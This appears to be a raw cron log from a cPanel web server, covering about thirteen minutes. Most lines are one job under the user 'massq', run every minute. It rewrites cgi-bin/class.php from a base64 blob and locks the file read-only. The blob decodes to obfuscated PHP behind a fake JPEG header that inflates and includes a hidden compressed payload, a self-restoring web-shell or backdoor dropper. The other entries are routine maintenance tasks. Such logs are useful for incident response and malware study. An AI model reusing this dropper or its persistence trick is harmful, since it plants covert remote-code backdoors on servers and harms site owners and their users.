Nov 11 15:56:01 server CROND[21600]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 15:57:01 server CROND[22569]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 11 15:57:01 server CROND[22570]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 15:58:01 server CROND[23388]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 15:59:01 server CROND[24208]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 16:00:01 server CROND[24995]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 11 16:00:01 server CROND[24996]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2&gt;&amp;1)
Nov 11 16:00:01 server CROND[24997]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 16:00:01 server CROND[25001]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 16:00:01 server CROND[25002]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 16:01:01 server CROND[25880]: (root) CMD (run-parts /etc/cron.hourly)
Nov 11 16:01:01 server CROND[25881]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 16:01:01 server run-parts(/etc/cron.hourly)[25880]: starting 0anacron
Nov 11 16:01:01 server run-parts(/etc/cron.hourly)[25893]: finished 0anacron
Nov 11 16:02:01 server CROND[26866]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 16:03:01 server CROND[27709]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 16:04:01 server CROND[28535]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 16:05:01 server CROND[29411]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 16:05:01 server CROND[29410]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 16:05:01 server CROND[29409]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 11 16:05:01 server CROND[29412]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 16:06:01 server CROND[30322]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 16:07:01 server CROND[31157]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 16:08:01 server CROND[31964]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 16:09:01 server CROND[360]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
